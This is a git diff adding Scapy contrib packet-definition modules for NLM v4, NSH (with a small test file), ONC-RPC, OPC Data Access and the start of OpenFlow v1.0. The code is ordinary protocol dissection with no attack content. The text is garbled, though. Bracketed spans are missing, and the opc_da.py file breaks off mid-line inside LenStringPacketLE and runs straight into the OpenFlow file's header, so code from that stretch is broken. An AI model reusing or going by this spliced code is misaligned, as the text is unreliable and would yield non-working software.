+ PacketField('attributes', Fattr3(), Fattr3), + lambda pkt: pkt.status == 0 and pkt.attributes_follow == 1 + ), + IntField('af_before', 0), + ConditionalField( + PacketField('dir_attributes_before', WCC_Attr(), WCC_Attr), + lambda pkt: pkt.af_before == 1 + ), + IntField('af_after', 0), + ConditionalField( + PacketField('dir_attributes_after', Fattr3(), Fattr3), + lambda pkt: pkt.af_after == 1 + ) + ] + + +bind_layers(RPC, SYMLINK_Call, mtype=0) +bind_layers(RPC, SYMLINK_Reply, mtype=1) +bind_layers( + RPC_Call, SYMLINK_Call, program=100003, pversion=3, procedure=10 +) diff --git a/libs/scapy/contrib/nlm.py b/libs/scapy/contrib/nlm.py new file mode 100755 index 0000000..85c22b1 --- /dev/null +++ b/libs/scapy/contrib/nlm.py @@ -0,0 +1,260 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Lucas Preston +# This program is published under a GPLv2 license + +# scapy.contrib.description = Network Lock Manager (NLM) v4 +# scapy.contrib.status = loads + +from scapy.contrib.oncrpc import RPC, RPC_Call, Object_Name +from scapy.packet import Packet, bind_layers +from scapy.fields import IntField, StrLenField, LongField, PacketField, \ + IntEnumField +from scapy.contrib.nfs import File_Object + +nlm4_stats = { + 0: 'NLM4_GRANTED', + 1: 'NLM4_DENIED', + 2: 'NLM4_DENIED_NOLOCKS', + 3: 'NLM4_BLOCKED', + 4: 'NLM4_DENIED_GRACE_PERIOD', + 5: 'NLM4_DEADLCK', + 6: 'NLM4_ROFS', + 7: 'NLM4_STALE_FH', + 8: 'NLM4_FBIG', + 9: 'NLM4_FAILED' +} + + +class NLM4_Cookie(Packet): + name = 'Cookie' + fields_desc = [ + IntField('length', 0), + StrLenField('contents', '', length_from=lambda pkt: pkt.length), + StrLenField('fill', b'', length_from=lambda pkt: (4 - pkt.length) % 4) + ] + + def set(self, c, length=None, fill=None): + if length is None: + length = len(c) + if fill is None: + fill = b'\x00' * ((4 - len(c)) % 4) + self.length = length + self.contents = c + self.fill = fill + + def extract_padding(self, s): + return '', s + + +class SHARE_Call(Packet): + name = 'SHARE Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('mode', 0), + IntField('access', 0), + IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) + ] + + +class SHARE_Reply(Packet): + name = 'SHARE Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats), + IntField('sequence', 0) + ] + + +bind_layers(RPC_Call, SHARE_Call, program=100021, pversion=4, procedure=20) +bind_layers(RPC, SHARE_Call, mtype=0) +bind_layers(RPC, SHARE_Reply, mtype=1) + + +class UNSHARE_Call(Packet): + name = 'UNSHARE Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('mode', 0), + IntField('access', 0), + IntEnumField('reclaim', 0, {0: 'NO', 1: 'YES'}) + ] + + +class UNSHARE_Reply(Packet): + name = 'UNSHARE Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats), + IntField('sequence', 0) + ] + + +bind_layers( + RPC_Call, UNSHARE_Call, program=100021, pversion=4, procedure=21 +) +bind_layers(RPC, UNSHARE_Call, mtype=0) +bind_layers(RPC, UNSHARE_Reply, mtype=1) + + +class LOCK_Call(Packet): + name = 'LOCK Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), + IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('svid', 0), + LongField('l_offset', 0), + LongField('l_len', 0), + IntField('reclaim', 0), + IntField('state', 0) + ] + + +class LOCK_Reply(Packet): + name = 'LOCK Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats) + ] + + +bind_layers(RPC_Call, LOCK_Call, program=100021, pversion=4, procedure=2) +bind_layers(RPC, LOCK_Call, mtype=0) +bind_layers(RPC, LOCK_Reply, mtype=1) + + +class UNLOCK_Call(Packet): + name = 'UNLOCK Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('svid', 0), + LongField('l_offset', 0), + LongField('l_len', 0) + ] + + +class UNLOCK_Reply(Packet): + name = 'UNLOCK Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats) + ] + + +bind_layers(RPC_Call, UNLOCK_Call, program=100021, pversion=4, procedure=4) +bind_layers(RPC, UNLOCK_Call, mtype=0) +bind_layers(RPC, UNLOCK_Reply, mtype=1) + + +class GRANTED_MSG_Call(Packet): + name = 'GRANTED_MSG Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('svid', 0), + LongField('l_offset', 0), + LongField('l_len', 0) + ] + + +class GRANTED_MSG_Reply(Packet): + name = 'GRANTED_MSG Reply' + fields_desc = [] + + +bind_layers( + RPC_Call, GRANTED_MSG_Call, program=100021, pversion=4, procedure=10 +) +bind_layers(RPC, GRANTED_MSG_Call, mtype=0) +bind_layers(RPC, GRANTED_MSG_Reply, mtype=1) + + +class GRANTED_RES_Call(Packet): + name = 'GRANTED_RES Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats) + ] + + +class GRANTED_RES_Reply(Packet): + name = 'GRANTED_RES Reply' + fields_desc = [] + + +bind_layers( + RPC_Call, GRANTED_RES_Call, program=100021, pversion=4, procedure=15 +) +bind_layers(RPC, GRANTED_RES_Call, mtype=0) +bind_layers(RPC, GRANTED_RES_Reply, mtype=1) + + +class CANCEL_Call(Packet): + name = 'CANCEL Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('block', 0, {0: 'NO', 1: 'YES'}), + IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('svid', 0), + LongField('l_offset', 0), + LongField('l_len', 0) + ] + + +class CANCEL_Reply(Packet): + name = 'CANCEL Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats) + ] + + +bind_layers(RPC_Call, CANCEL_Call, program=100021, pversion=4, procedure=3) +bind_layers(RPC, CANCEL_Call, mtype=0) +bind_layers(RPC, CANCEL_Reply, mtype=1) + + +class TEST_Call(Packet): + name = 'TEST Call' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('exclusive', 0, {0: 'NO', 1: 'YES'}), + PacketField('caller', Object_Name(), Object_Name), + PacketField('filehandle', File_Object(), File_Object), + PacketField('owner', Object_Name(), Object_Name), + IntField('svid', 0), + LongField('l_offset', 0), + LongField('l_len', 0) + ] + + +class TEST_Reply(Packet): + name = 'TEST Reply' + fields_desc = [ + PacketField('cookie', NLM4_Cookie(), NLM4_Cookie), + IntEnumField('status', 0, nlm4_stats) + ] + + +bind_layers(RPC_Call, TEST_Call, program=100021, pversion=4, procedure=1) +bind_layers(RPC, TEST_Call, mtype=0) +bind_layers(RPC, TEST_Reply, mtype=1) diff --git a/libs/scapy/contrib/nsh.py b/libs/scapy/contrib/nsh.py new file mode 100755 index 0000000..f7c3c92 --- /dev/null +++ b/libs/scapy/contrib/nsh.py @@ -0,0 +1,95 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Network Services Headers (NSH) +# scapy.contrib.status = loads + +from scapy.all import bind_layers +from scapy.fields import BitField, ByteField, ByteEnumField, BitEnumField, \ + ShortField, X3BytesField, XIntField, XStrFixedLenField, \ + ConditionalField, PacketListField, BitFieldLenField +from scapy.layers.inet import Ether, IP +from scapy.layers.inet6 import IPv6 +from scapy.layers.vxlan import VXLAN +from scapy.packet import Packet +from scapy.layers.l2 import GRE + +from scapy.contrib.mpls import MPLS + +# +# NSH Support +# https://www.rfc-editor.org/rfc/rfc8300.txt January 2018 +# + + +class NSHTLV(Packet): + "NSH MD-type 2 - Variable Length Context Headers" + name = "NSHTLV" + fields_desc = [ + ShortField('class', 0), + BitField('type', 0, 8), + BitField('reserved', 0, 1), + BitField('length', 0, 7), + PacketListField('metadata', None, XIntField, count_from='length') + ] + + +class NSH(Packet): + """Network Service Header. + NSH MD-type 1 if there is no ContextHeaders""" + name = "NSH" + + fields_desc = [ + BitField('ver', 0, 2), + BitField('oam', 0, 1), + BitField('unused1', 0, 1), + BitField('ttl', 63, 6), + BitFieldLenField('length', None, 6, + count_of='vlch', + adjust=lambda pkt, x: 6 if pkt.mdtype == 1 + else x + 2), + BitField('unused2', 0, 4), + BitEnumField('mdtype', 1, 4, {0: 'Reserved MDType', + 1: 'Fixed Length', + 2: 'Variable Length', + 0xF: 'Experimental MDType'}), + ByteEnumField('nextproto', 3, {1: 'IPv4', + 2: 'IPv6', + 3: 'Ethernet', + 4: 'NSH', + 5: 'MPLS', + 0xFE: 'Experiment 1', + 0xFF: 'Experiment 2'}), + X3BytesField('spi', 0), + ByteField('si', 0xFF), + ConditionalField(XStrFixedLenField("context_header", "", 16), + lambda pkt: pkt.mdtype == 1), + ConditionalField(PacketListField("vlch", None, NSHTLV, + count_from="length"), + lambda pkt: pkt.mdtype == 2) + ] + + def mysummary(self): + return self.sprintf("SPI: %spi% - SI: %si%") + + +bind_layers(Ether, NSH, {'type': 0x894F}, type=0x894F) +bind_layers(VXLAN, NSH, {'flags': 0xC, 'nextproto': 4}, nextproto=4) +bind_layers(GRE, NSH, {'proto': 0x894F}, proto=0x894F) + +bind_layers(NSH, IP, nextproto=1) +bind_layers(NSH, IPv6, nextproto=2) +bind_layers(NSH, Ether, nextproto=3) +bind_layers(NSH, NSH, nextproto=4) +bind_layers(NSH, MPLS, nextproto=5) diff --git a/libs/scapy/contrib/nsh.uts b/libs/scapy/contrib/nsh.uts new file mode 100755 index 0000000..093ba7e --- /dev/null +++ b/libs/scapy/contrib/nsh.uts @@ -0,0 +1,18 @@ +% NSH Tests +* Tests for the Scapy NSH layer + ++ Syntax check += Import the nsh layer +from scapy.contrib.nsh import * + ++ Basic Layer Tests + += Build a NSH over NSH packet with NSP=42, and NSI=1 +raw(NSH(NSP=42, NSI=1)/NSH()) == b'\x00\x06\x01\x04\x00\x00*\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + += Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings +raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x89O\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += Build a NSH over GRE packet, and verify GRE Bindings +raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/IP(src="1.1.1.1", dst="2.2.2.2")/GRE()/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x08\x00E\x00\x00Z\x00\x01\x00\x00@/to\x01\x01\x01\x01\x02\x02\x02\x02\x00\x00\x89O\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' diff --git a/libs/scapy/contrib/oncrpc.py b/libs/scapy/contrib/oncrpc.py new file mode 100755 index 0000000..67b33e4 --- /dev/null +++ b/libs/scapy/contrib/oncrpc.py @@ -0,0 +1,162 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Lucas Preston +# This program is published under a GPLv2 license + +# scapy.contrib.description = ONC-RPC v2 +# scapy.contrib.status = loads + +from scapy.fields import XIntField, IntField, IntEnumField, StrLenField, \ + FieldListField, ConditionalField, PacketField +from scapy.packet import Packet, bind_layers +import struct + + +class Object_Name(Packet): + name = 'Object Name' + fields_desc = [ + IntField('length', 0), + StrLenField('_name', '', length_from=lambda pkt: pkt.length), + StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) + ] + + def set(self, name, length=None, fill=None): + if length is None: + length = len(name) + if fill is None: + fill = b'\x00' * ((4 - len(name)) % 4) + self.length = length + self._name = name + self.fill = fill + + def extract_padding(self, s): + return '', s + + +class RM_Header(Packet): + name = 'RM Header' + fields_desc = [ + XIntField('rm', None) + ] + + def post_build(self, pkt, pay): + """Override of post_build to set the rm header == len(payload)""" + if self.rm is None: + new_rm = 0x80000000 + len(self.payload) + pkt = struct.pack('!I', new_rm) + return Packet.post_build(self, pkt, pay) + + +class RPC(Packet): + name = 'RPC' + fields_desc = [ + XIntField('xid', 0), + IntEnumField('mtype', 0, {0: 'CALL', 1: 'REPLY'}), + ] + + +class Auth_Unix(Packet): + name = 'AUTH Unix' + fields_desc = [ + XIntField('stamp', 0), + PacketField('mname', Object_Name(), Object_Name), + IntField('uid', 0), + IntField('gid', 0), + IntField('num_auxgids', 0), + FieldListField( + 'auxgids', [], IntField('', None), + count_from=lambda pkt: pkt.num_auxgids + ) + ] + + def extract_padding(self, s): + return '', s + + +class RPC_Call(Packet): + name = 'RPC Call' + + fields_desc = [ + IntField('version', 2), + IntField('program', 100003), + IntField('pversion', 3), + IntField('procedure', 0), + IntEnumField('aflavor', 1, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), + IntField('alength', None), + ConditionalField( + PacketField('a_unix', Auth_Unix(), Auth_Unix), + lambda pkt: pkt.aflavor == 1 + ), + IntEnumField('vflavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), + IntField('vlength', None), + ConditionalField( + PacketField('v_unix', Auth_Unix(), Auth_Unix), + lambda pkt: pkt.vflavor == 1 + ) + ] + + def set_auth(self, **kwargs): + """Used to easily set the fields in an a_unix packet""" + if kwargs is None: + return + + if 'mname' in kwargs: + self.a_unix.mname.set(kwargs['mname']) + del kwargs['mname'] + + for arg, val in kwargs.items(): + if hasattr(self.a_unix, arg): + setattr(self.a_unix, arg, val) + + self.alength = 0 if self.aflavor == 0 else len(self.a_unix) + self.vlength = 0 if self.vflavor == 0 else len(self.v_unix) + + def post_build(self, pkt, pay): + """Override of post_build to handle length fields""" + if self.aflavor == 0 and self.vflavor == 0: + # No work required if there are no auth fields, + # default will be correct + return Packet.post_build(self, pkt, pay) + if self.aflavor != 0 and self.alength is None: + pkt = pkt[:20] \ + + struct.pack('!I', len(self.a_unix)) \ + + pkt[24:] + return Packet.post_build(self, pkt, pay) + if self.vflavor != 0 and self.vlength is None: + pkt = pkt[:28] \ + + struct.pack('!I', len(self.v_unix)) \ + + pkt[32:] + return Packet.post_build(self, pkt, pay) + + +class RPC_Reply(Packet): + name = 'RPC Response' + fields_desc = [ + IntField('reply_stat', 0), + IntEnumField('flavor', 0, {0: 'AUTH_NULL', 1: 'AUTH_UNIX'}), + ConditionalField( + PacketField('a_unix', Auth_Unix(), Auth_Unix), + lambda pkt: pkt.flavor == 1 + ), + IntField('length', 0), + IntField('accept_stat', 0) + ] + + def set_auth(self, **kwargs): + """Used to easily set the fields in an a_unix packet""" + if kwargs is None: + return + + if 'mname' in kwargs: + self.a_unix.mname.set(kwargs['mname']) + del kwargs['mname'] + + for arg, val in kwargs.items(): + if hasattr(self.a_unix, arg): + setattr(self.a_unix, arg, val) + + self.length = 0 if self.flavor == 0 else len(self.a_unix) + + +bind_layers(RPC, RPC_Call, mtype=0) +bind_layers(RPC, RPC_Reply, mtype=1) diff --git a/libs/scapy/contrib/opc_da.py b/libs/scapy/contrib/opc_da.py new file mode 100755 index 0000000..64a91e0 --- /dev/null +++ b/libs/scapy/contrib/opc_da.py @@ -0,0 +1,1492 @@ +# coding: utf8 + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software FounDation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) +# @Author: GuillaumeF +# @Email: guillaume4favre@gmail.com +# @Date: 2016-10-18 +# @Last modified by: GuillaumeF +# @Last modified by: Sebastien Mainand +# @Last modified time: 2016-12-08 11:16:27 +# @Last modified time: 2017-07-05 + +# scapy.contrib.description = OPC Data Access +# scapy.contrib.status = loads + +""" +Opc Data Access. +References: Data Access Custom Interface StanDard +Using the website: http://pubs.opengroup.org/onlinepubs/9629399/chap12.htm + +DCOM Remote Protocol. +References: Specifies Distributed Component Object Model (DCOM) Remote Protocol +Using the website: https://msdn.microsoft.com/en-us/library/cc226801.aspx +""" + +from scapy.config import conf +from scapy.fields import Field, ByteField, ShortField, LEShortField, \ + IntField, LEIntField, LongField, LELongField, StrField, StrLenField, \ + StrFixedLenField, BitEnumField, ByteEnumField, ShortEnumField, \ + LEShortEnumField, IntEnumField, LEIntEnumField, FieldLenField, \ + LEFieldLenField, PacketField, PacketListField, PacketLenField, \ + ConditionalField, FlagsField, UUIDField +from scapy.packet import Packet + +# Defined values +_tagOPCDataSource = { + 1: "OPC_DS_CACHE", + 2: "OPC_DS_DEVICE" +} + +_tagOPCBrowseType = { + 1: "OPC_BRANCH", + 2: "OPC_LEAF", + 3: "OPC_FLAT" +} + +_tagOPCNameSpaceType = { + 1: "OPC_NS_HIERARCHIAL", + 2: "OPC_NS_FLAT" +} + +_tagOPCBrowseDirection = { + 1: "OPC_BROWSE_UP", + 2: "OPC_BROWSE_DOWN", + 3: "OPC_BROWSE_TO" +} + +_tagOPCEuType = { + 0: "OPC_NOENUM", + 1: "OPC_ANALOG", + 2: "OPC_ENUMERATED" +} + +_tagOPCServerState = { + 1: "OPC_STATUS_RUNNING", + 2: "OPC_STATUS_FAILED", + 3: "OPC_STATUS_NOCONFIG", + 4: "OPC_STATUS_SUSPENDED", + 5: "OPC_STATUS_TEST", + 6: "OPC_STATUS_COMM_FAULT" +} + +_tagOPCEnumScope = { + 1: "OPC_ENUM_PRIVATE_CONNECTIONS", + 2: "OPC_ENUM_PUBLIC_CONNECTIONS", + 3: "OPC_ENUM_ALL_CONNECTIONS", + 4: "OPC_ENUM_PRIVATE", + 5: "OPC_ENUM_PUBLIC", + 6: "OPC_ENUM_ALL" +} + +_pfc_flags = [ + "firstFragment", # First fragment + "lastFragment", # Last fragment + "pendingCancel", # Cancel was pending at sender + "reserved", # + "concurrentMultiplexing", # supports concurrent multiplexing + # of a single connection + "didNotExecute", # only meaningful on `fault' packet if true, + # guaranteed call did not execute + "maybe", # `maybe' call semantics requested + "objectUuid" # if true, a non-nil object UUID was specified + # in the handle, and is present in the optional + # object field. If false, the object field + # is omitted +] + +_faultStatus = { + 382312475: 'rpc_s_fault_object_not_found', + 382312497: 'rpc_s_call_cancelled', + 382312564: 'rpc_s_fault_addr_error', + 382312565: 'rpc_s_fault_context_mismatch', + 382312566: 'rpc_s_fault_fp_div_by_zero', + 382312567: 'rpc_s_fault_fp_error', + 382312568: 'rpc_s_fault_fp_overflow', + 382312569: 'rpc_s_fault_fp_underflow', + 382312570: 'rpc_s_fault_ill_inst', + 382312571: 'rpc_s_fault_int_div_by_zero', + 382312572: 'rpc_s_fault_int_overflow', + 382312573: 'rpc_s_fault_invalid_bound', + 382312574: 'rpc_s_fault_invalid_tag', + 382312575: 'rpc_s_fault_pipe_closed', + 382312576: 'rpc_s_fault_pipe_comm_error', + 382312577: 'rpc_s_fault_pipe_discipline', + 382312578: 'rpc_s_fault_pipe_empty', + 382312579: 'rpc_s_fault_pipe_memory', + 382312580: 'rpc_s_fault_pipe_order', + 382312582: 'rpc_s_fault_remote_no_memory', + 382312583: 'rpc_s_fault_unspec', + 382312723: 'rpc_s_fault_user_defined', + 382312726: 'rpc_s_fault_tx_open_failed', + 382312814: 'rpc_s_fault_codeset_conv_error', + 382312816: 'rpc_s_fault_no_client_stub', + 469762049: 'nca_s_fault_int_div_by_zero', + 469762050: 'nca_s_fault_addr_error', + 469762051: 'nca_s_fault_fp_div_zero', + 469762052: 'nca_s_fault_fp_underflow', + 469762053: 'nca_s_fault_fp_overflow', + 469762054: 'nca_s_fault_invalid_tag', + 469762055: 'nca_s_fault_invalid_bound', + 469762061: 'nca_s_fault_cancel', + 469762062: 'nca_s_fault_ill_inst', + 469762063: 'nca_s_fault_fp_error', + 469762064: 'nca_s_fault_int_overflow', + 469762068: 'nca_s_fault_pipe_empty', + 469762069: 'nca_s_fault_pipe_closed', + 469762070: 'nca_s_fault_pipe_order', + 469762071: 'nca_s_fault_pipe_discipline', + 469762072: 'nca_s_fault_pipe_comm_error', + 469762073: 'nca_s_fault_pipe_memory', + 469762074: 'nca_s_fault_context_mismatch', + 469762075: 'nca_s_fault_remote_no_memory', + 469762081: 'ncs_s_fault_user_defined', + 469762082: 'nca_s_fault_tx_open_failed', + 469762083: 'nca_s_fault_codeset_conv_error', + 469762084: 'nca_s_fault_object_not_found', + 469762085: 'nca_s_fault_no_client_stub', +} + +_defResult = { + 0: 'ACCEPTANCE', + 1: 'USER_REJECTION', + 2: 'PROVIDER_REJECTION', +} + +_defReason = { + 0: 'REASON_NOT_SPECIFIED', + 1: 'ABSTRACT_SYNTAX_NOT_SUPPORTED', + 2: 'PROPOSED_TRANSFER_SYNTAXES_NOT_SUPPORTED', + 3: 'LOCAL_LIMIT_EXCEEDED', +} + +_rejectBindNack = { + 0: 'REASON_NOT_SPECIFIED', + 1: 'TEMPORARY_CONGESTION', + 2: 'LOCAL_LIMIT_EXCEEDED', + 3: 'CALLED_PADDR_UNKNOWN', + 4: 'PROTOCOL_VERSION_NOT_SUPPORTED', + 5: 'DEFAULT_CONTEXT_NOT_SUPPORTED', + 6: 'USER_DATA_NOT_READABLE', + 7: 'NO_PSAP_AVAILABLE' +} + +_rejectStatus = { + 469762056: 'nca_rpc_version_mismatch', + 469762057: 'nca_unspec_reject', + 469762058: 'nca_s_bad_actid', + 469762059: 'nca_who_are_you_failed', + 469762060: 'nca_manager_not_entered', + 469827586: 'nca_op_rng_error', + 469827587: 'nca_unk_if', + 469827590: 'nca_wrong_boot_time', + 469827593: 'nca_s_you_crashed', + 469827595: 'nca_proto_error', + 469827603: 'nca_out_args_too_big', + 469827604: 'nca_server_too_busy', + 469827607: 'nca_unsupported_type', + 469762076: 'nca_invalid_pres_context_id', + 469762077: 'nca_unsupported_authn_level', + 469762079: 'nca_invalid_checksum', + 469762080: 'nca_invalid_crc' +} + +_pduType = { + 0: "REQUEST", + 1: "PING", + 2: "RESPONSE", + 3: "FAULT", + 4: "WORKING", + 5: "NOCALL", + 6: "REJECT", + 7: "ACK", + 8: "CI_CANCEL", + 9: "FACK", + 10: "CANCEL_ACK", + 11: "BIND", + 12: "BIND_ACK", + 13: "BIND_NACK", + 14: "ALTER_CONTEXT", + 15: "ALTER_CONTEXT_RESP", + 17: "SHUTDOWN", + 18: "CO_CANCEL", + 19: "ORPHANED", + # Not documented + 16: "Auth3", +} + +_authentification_protocol = { + 0: 'None', + 1: 'OsfDcePrivateKeyAuthentication', +} + + +# Sub class for dissection +class AuthentificationProtocol(Packet): + name = 'authentificationProtocol' + + def extract_padding(self, p): + return b"", p + + def guess_payload_class(self, payload): + if self.underlayer and hasattr(self.underlayer, "auth_length"): + auth_length = self.underlayer.auth_length + if auth_length != 0: + try: + return _authentification_protocol[auth_length] + except Exception: + pass + return conf.raw_layer + + +class OsfDcePrivateKeyAuthentification(Packet): + name = "OsfDcePrivateKeyAuthentication" + # TODO + + def extract_padding(self, p): + return b"", p + + +class OPCHandle(Packet): + def __init__(self, name, default): + Field.__init__(self, name, default, "16s") + + def extract_padding(self, p): + return b"", p + + +class LenStringPacket(Packet): + name = "len string packet" + fields_desc = [ + FieldLenField('length', 0, length_of='data', fmt="H"), + ConditionalField(StrLenField('data', None, + length_from=lambda pkt:pkt.length + 2), + lambda pkt:pkt.length == 0), + ConditionalField(StrLenField('data', '', + length_from=lambda pkt:pkt.length), + lambda pkt:pkt.length != 0), + ] + + def extract_padding(self, p): + return b"", p + + +class LenStringPacketLE(Packet): + name = "len string packet" + fields_desc = [ + LEFieldLenField('length', 0, length_of='data', fmt=" +# This program is published under a GPLv2 license + +# Copyright (C) 2014 Maxence Tury +# OpenFlow is an open standard used in SDN deployments. +# Based on OpenFlow v1.0.1 +# Specifications can be retrieved from https://www.opennetworking.org/ + +# scapy.contrib.description = Openflow v1.0 +# scapy.contrib.status = loads + +from __future__ import absolute_import +import struct + + +from scapy.compat import chb, orb, raw +from scapy.config import conf +from scapy.error import warning +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, FieldLenField, FlagsField, IntEnumField, IntField, IPField, LongField, MACField, PacketField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, X3BytesField, XBitField, XByteField, XIntField, XShortField # noqa: E501 +from scapy.layers.l2 import Ether +from scapy.layers.inet import TCP +from scapy.packet import Packet, Raw, bind_bottom_up, bind_top_down +from scapy.utils import binrepr +from scapy.modules import six + + +# If prereq_autocomplete is True then match prerequisites will be +# automatically handled. See OFPMatch class. +conf.contribs['OPENFLOW'] = {'prereq_autocomplete': True} + +##################################################### +# Predefined values # +##################################################### + +ofp_port_no = {0xfff8: "IN_PORT", + 0xfff9: "TABLE", + 0xfffa: "NORMAL", + 0xfffb: "FLOOD", + 0xfffc: "ALL", + 0xfffd: "CONTROLLER", + 0xfffe: "LOCAL", + 0xffff: "NONE"} + +ofp_table = {0xff: "ALL"} + +ofp_queue = {0xffffffff: "ALL"} + +ofp_buffer = {0xffffffff: "NO_BUFFER"} + +ofp_max_len = {0xffff: "NO_BUFFER"} + +##################################################### +# Common structures # +##################################################### + +# The following structures will be used in different types +# of OpenFlow messages: ports, matches, actions, queues. + + +# Ports # + +ofp_port_config = ["PORT_DOWN", + "NO_STP", + "NO_RECV", + "NO_RECV_STP", + "NO_FLOOD", + "NO_FWD", + "NO_PACKET_IN"] + +ofp_port_state = ["LINK_DOWN"] + +ofp_port_state_stp = {0: "OFPPS_STP_LISTEN", + 1: "OFPPS_STP_LEARN", + 2: "OFPPS_STP_FORWARD", + 3: "OFPPS_STP_BLOCK"} + +ofp_port_features = ["10MB_HD", + "10MB_FD", + "100MB_HD", + "100MB_FD", + "1GB_HD", + "1GB_FD", + "10GB_FD", + "COPPER", + "FIBER", + "AUTONEG", + "PAUSE", + "PAUSE_ASYM"] + + +class OFPPhyPort(Packet): + name = "OFP_PHY_PORT" + fields_desc = [ShortEnumField("port_no", 0, ofp_port_no), + MACField("hw_addr", "0"), + StrFixedLenField("port_name", "", 16), + FlagsField("config", 0, 32, ofp_port_config), + BitEnumField("stp_state", 0, 24, ofp_port_state), + FlagsField("state", 0, 8, ofp_port_state), + FlagsField("curr", 0, 32, ofp_port_features), + FlagsField("advertised", 0, 32, ofp_port_features), + FlagsField("supported", 0, 32, ofp_port_features), + FlagsField("peer", 0, 32, ofp_port_features)] + + def extract_padding(self, s): + return b"", s + + +class OFPMatch(Packet): + name = "OFP_MATCH" + fields_desc = [FlagsField("wildcards1", None, 12, ["DL_VLAN_PCP", + "NW_TOS"]), + BitField("nw_dst_mask", None, 6), + BitField("nw_src_mask", None, 6), + FlagsField("wildcards2", None, 8, ["IN_PORT", + "DL_VLAN", + "DL_SRC", + "DL_DST", + 